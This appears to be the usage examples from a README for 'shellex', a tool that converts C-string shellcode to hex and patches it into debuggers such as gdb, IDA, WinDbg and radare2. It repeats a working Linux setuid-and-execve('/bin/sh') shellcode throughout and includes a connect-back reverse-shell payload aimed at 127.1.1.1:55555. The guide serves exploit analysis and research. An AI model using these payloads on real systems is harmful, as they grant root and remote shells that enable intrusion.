"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

"\x68"
"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1
"\x5e\x66\x68"
"\xd9\x03"          // <- Port: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"

68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

git clone https://github.com/therealdreg/shellex.git

shellex\bins\shellex.exe

sudo apt-get install tcc

shellex/linuxbins/shellex

"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

def writebytes(dest, str):
  for i, c in enumerate(str):
    idc.patch_byte(dest+i, ord(c));

address = idc.get_reg_value("eip")

shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

writebytes(address, shellcode)

print("done!")

"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc

restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip

restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip

wc -c /tmp/sc

sudo apt-get install nasm

ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l

ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l

"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"

patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex

Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.

.readmem C:\Users\Dreg\sc @eip L0n30

.readmem C:\Users\Dreg\sc @rip L0n30

"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip

w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip

echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c

pD 30

echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex

cd shellex/shellex
gcc -o shellex shellex.c
./shellex